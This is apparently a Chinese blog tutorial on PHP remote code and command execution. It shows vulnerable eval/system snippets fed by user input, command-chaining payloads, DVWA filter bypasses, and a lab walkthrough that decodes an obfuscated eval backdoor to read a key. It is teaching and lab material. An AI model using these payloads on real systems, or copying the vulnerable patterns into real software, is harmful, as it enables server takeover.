什么是REC

Remote Command/Code Execute,远程命令或者代码执行。通过构造特殊的字符串,将数据提交到WEB应用程序,并利用该方式外部程序或命令进行攻击,类似SQL注入。

Web应用程序使用了一些可以执行系统命令,或者代码的函数,由于对用户提交的数据过滤不严格,导致黑客可以利用服务器执行命令或者代码

漏洞形成条件:可控变量,漏洞函数

可控变量:可以控制的变量,就是通过url的传参,通过上面的参数值,来改变变量值。

漏洞函数:使用哪个函数,对这个变量进行操作,这个函数的作用,就变成了这个漏洞的作用,

如果你这个函数的作用是文件上传,那么就会造成文件上传的漏洞,如果函数的作用是执行代码,那么就会造成执行代码的漏洞,以此类推。

以上结论:漏洞是什么类型的由使用的函数来决定,漏洞是否存在由传递的变量来决定,如果没有可控的变量,那么就意味没有漏洞

1.远程代码执行漏洞

PHP相关敏感函数

(1) eval()函数

作用:如果参数是PHP代码(字符串类型),会作为PHP的代码来执行,并且以分号结尾

1.将php的代码作为eval的参数


eval('echo 2+2');

2.eval的参数来自于用户输入

eval($_GET['code']);

url

http://127.0.0.1/websec/day03/rec1.php?code=phpinfo();

phpinfo()函数:

功能:可以输出我们php服务器相关的信息

总结:如果给的eval函数所传递的字符串是由用户传递进来的,是一个可执行的PHP语句,则该函数对语句内容执行,如果所执行的语句具有一定的危害性,则形成漏洞,无法保证数据安全

2.assert();函数

作用:函数的本意并不是用于执行代码的,是程序员用来调式代码用的,但是如果第一个参数是字符串,他会被assert()当作PHP代码执行 。

assert()参数来自用户输入

assert($_GET['code']);

url

http://127.0.0.1/websec/day03/rec1.php?x=phpinfo();

3.preg_replace()函数

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)

作用:搜索$subject中匹配$pattion的部分,以$replacement,进行替换。如果所替换的内容为可执行函数,则该函数会被执行

e修政府使preg_replace(),将replacement参数当作PHP代码执行。提示:要确保 replacement构成一个合法的PHP代码字符串,否者PHP会在报告包含preg_replace()的行中出现语法解析错误

演示函数,没有使用e前

echo perg_replace('/gum/','yyds','gum');

作用:在第三个参数和第一个参数进行匹配,如果找到了,把第一个参数替换成第二个参数

替换成功

使用e修正后,接受来自用户输入参数

echo preg_replace('/gum/e',$_GET['code'],'gum');

url:

http://127.0.0.1/websec/day03/rec1.php?code=phpinfo();

4.call_user_func()函数

call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed

第一个参数callable是被调用的回调函数,其余参数是回调函数的参数

call_user_func('phpinfo');

这里不是调用函数,直接写函数名行了

以上是远程代码执行的敏感相关函数。

2.远程命令执行漏洞

什么是命令执行?

比如说查看计算机的相关信息,比如文件读写的操作,文件的删除操作等,这些功能命令都可以实现的,也就意味着这个漏洞也是可以去做这样,可以实现的

操作系统:Windows Linux

以下是远程命令执行的相关函数

(如果出现乱码的问题,把编码格式改成GBK)

1.exec()函数

作用:执行命令,只会输出命令执行结果的最后一行

$cmd=$_GET['cmd'];
echo exec($cmd);

url:

http://127.0.0.1/websec/day03/rec2.php?cmd=dir;

 2.shell_exec()函数:

作用:执行命令,输出所有结果

$cmd=$_GET['cmd'];
echo shell_exec($cmd);

url:

http://127.0.0.1/websec/day03/rec2.php?cmd=dir

3 ` 反撇号(键盘左上角)

作用:执行命令,输出所有结果

$cmd=$_GET['cmd'];
echo `$cmd`;

url:

http://127.0.0.1/websec/day03/rec2.php?cmd=dir

4.system():函数

作用:执行命令,执行外部程序并且输出结果(操作系统与环境)

注意:system函数不管是linux还是windows操作系统的都可以执行,他会自动区分命令。(如果你的服务器是windows的话输入linux的命令是不会返回结果的,以此类推)

windows

$win=&_GET['W'];
echo system($win);

url:

http://127.0.0.1/websec/day03/rec2.php?w=ipconfig

这边 Linux我就不演示,如果是服务器是Linux系统的话,改成linux命令就好了

3.命令连接符

1.&& 同生共死

cmd1&&cm2

cmd1执行成功,才会执行cmd2,如果cmd1执行不成功那么cmd2不会执行

cmd1执行成功

echo `whoami&&dir`;

cmd1执行失败

echo `pwd&&dir`;

ps:这里执行失败因为我的服务器是windows cmd1是linux的 命令

2. & 陌生人

cmd1&cmd2

不管cmd1是否执行成功,cmd2都会执行,不受到cm1的影响

echo `pwd&&dir`

3.|| 你死我活

cmd1||cmd2

如果cmd1执行成功了,cmd2不执行,如果cmd1执行失败了,cmd2执行(二者只能有1,缺心眼行为)

cmd1执行成功,cmd2不执行

echo `whoami||dir`;

cmd1执行失败,cmd2执行

echo `pwd||dir`;

4. |  管道符

cmd1|cm2  (cmd1的输出会作为cmd2的输入)

没有cmd1的结果,只有cmd2的结果。

echo `ipconfig|dir`;
echo `pwd|dir`;
不显示结果。

这个没啥好说的,我就不演示了。知道管道符是干啥用的都可以理解

靶场实验 pikachu dvwa 墨者

1.pikachu

1.eval()

首先我先抓一个包看一下他这个服务器是windows系统还是linux的系统

那么说明eval函数在这里字符串 类型可以作为php代码执行,直接实验phpinfo()函数,

获取他 php的配置信息

呐,这不是就出来了

2.ping (命令执行漏洞)

2.DVWA

等级:low

查看一下原代码

可以看出没有对连接符进行过滤

等级:medium

查看原代码

这里可以看到对&& 和; 过滤了,只要绕过这两个就好了

等级:high

查看源代码:

在源代码可以看出,程序员对所有的命令拼接符都过滤了,那么我是怎么绕过的呢?

注意看| 的位置  ,他的单引号在多了一个空格,说明他程序员在进行过滤的时候不小心加了一个空格,并不是他的本意,正是因为他加了这个空格本来是对|这个连接符进行了过滤,但是他在|的后面多了一个空格,就变成了过滤|空格 ,那么只要在输入|的时候后面不要加空格就可以绕过了。大家可以去试试,如果加了空格是否 还能绕过。

3.墨者靶场

1.命令注入执行分析

1.这里可以看出这是一个ping的命令远程漏洞

2.判断服务器的操作系统,输入远程命令

先抓一个包

抓到服务器Ubuntu,可以得出结论是Linux系统。

3.使用BP,抓包修改数据

4.得到结果

5.拿key

继续抓包修改数据

6.拿到key

2.PHP代码分析溯源(第4题)

靶场页面

-------------当前页面源码----key在根目录------------------

<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>

这里使用了base64,加密和压缩的编码

直接把eval修改成echo直接输出

修改后

-------------当前页面源码----key在根目录------------------

<?php
echo (gzinflate(base64_decode("40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==")));
?>

保存执行

执行后得到的结果

echo `$_REQUEST[a]`;; ?>

猜测原语句

eval(echo `$_REQUEST[a]`;; ?> )

发现命令执行漏洞,键名=a,直接传入参数

url:

http://124.70.91.203:46127/f.php?a=ls

页面:

拿key

url:

http://124.70.91.203:46127/f.php?a=tac<key_122152022015454.php

这里的的tac是个坑,本来我输入的是cat但是使用cat无法查看,就使用了tac,tac这个命令就是从倒数第一行开始查看,最后我才拿到了key

这里大家可能会质疑eval()不是代码执行的漏洞吗?怎么变成命令执行了?

因为eval(echo `$_REQUEST[a]`;; ?> )这里的echo,因为这个服务器是linux的在linux中echo代表的是linux的命令 ,所以他这个漏洞就成为了命令执行的漏洞

RCE防御措施

1.对命令连接符使用黑名单

2。如果要求输入ip地址的话,对IP地址做严格的过滤(可以参考DWAV最后一关无效的防御方案)

RCE 远程命令代码执行漏洞相关推荐

  1. 远程命令/代码执行漏洞(RCE)总结

    介绍 Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的.PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一. 当应用需要调 ...

  2. RCE详解(远程命令/代码执行漏洞)

    1.RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行 一般出现这种漏洞, ...

  3. php cgi远程控制,php cgi远程任意代码执行漏洞

    国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 粗看一下貌似没啥 ...

  4. Apache Log4j2远程JNDI代码执行漏洞修复

    #漏洞简介 Apache Log4j2远程代码执行漏洞 当打印的日志含有${字符串时程序会使用lookup解析要打印的字符串,执行任意远程代码,框架没有做相应的过滤导致注入.官网已经在2.16.0(j ...

  5. 不能执行已释放 script 的代码_[漏洞预警]CVE20190708远程桌面代码执行漏洞利用工具已放出...

    漏洞描述 2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了许多版本的Windows操作系统.该漏洞在不需身份认证的情况下即可远程触发,危害与影 ...

  6. hp代码改成linux代码,HP Database Archiving Software远程任意代码执行漏洞

    发布日期:2011-12-29 更新日期:2011-12-31 受影响系统: HP HP Database Archiving Software 6.31 描述: ------------------ ...

  7. java list%3ca%3e排序_Apache Solr 远程命令+XXE执行漏洞(CVE-2017-12629)

    Apache Solr 最近有出了个漏洞预警,先复习一下之前的漏洞 #命令执行 ##先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数 POST /solr/de ...

  8. [ MSF使用实例 ] 利用远程桌面代码执行漏洞(MS12-020)漏洞导致windows靶机蓝屏

  9. CVE-2021-30461 - VoIPMonitor未授权远程代码执行漏洞

    VoIPMonitor未授权远程代码执行漏洞 0X001前言 0X002 漏洞影响 0X003 漏洞原理 0X004 漏洞复现 0X041 空间搜索寻找目标 0X042 测试代码执行 0X005 PO ...

最新文章

  1. 台式计算机怎么加一个硬盘,如何再安装一个台式计算机硬盘驱动器?如何在计算机安装中添加额外的硬盘...
  2. LeetCode Algorithm 589. N 叉树的前序遍历
  3. QT的事件分发、事件过滤器详解
  4. Tensorflow 加载预训练模型和保存模型
  5. C#LeetCode刷题之#443-压缩字符串​​​​​​​(String Compression)
  6. 算法:Majority Element(求众数)
  7. jmeter接口压力测试详解
  8. mysql有varchar2吗_char、varchar、varchar2区别
  9. js中的symbol详解
  10. jeecg-boot环境搭建
  11. 智慧公厕智能镜子厕所管理系统一站式服务
  12. 问题1:老毛桃一键装机打开后安装目录只显示u盘
  13. Oracle日期函數
  14. Revit轴网绘制中怎么生成轴网?
  15. git命令切换分支、更新分支
  16. CES Asia:足不出户也能享受天文奇观
  17. 静态时序分析(STA) —— 时序检查
  18. 【Linux】VIM命令(全面详解)
  19. 上海海事大学本科毕业论文答辩和论文选题PPT模板
  20. Machine Learning and Application in Terahertz Technology: A Review on Achievements

热门文章

  1. Devtech推出Marketplace Enablement帮助ISV加速进入市场
  2. 刷机显示服务器连接不上怎么办,完美刷机怎么连接不到云服务器
  3. 微信一口气更新了 12 个功能
  4. 共绘信创蓝图,中睿天下正式加入同心生态联盟
  5. 2021河南书法高考专业成绩查询,2020年河南省书法高考成绩公布 河南老墨坊书法高考学校成绩喜人...
  6. 如何构建自己的人脉圈子 |
  7. 最优二叉树(赫夫曼树)
  8. Luch简介— Android上的BLE信标扫描新库
  9. 零基础可以学的vue(1)
  10. 【Java】一次不定方程的两种解法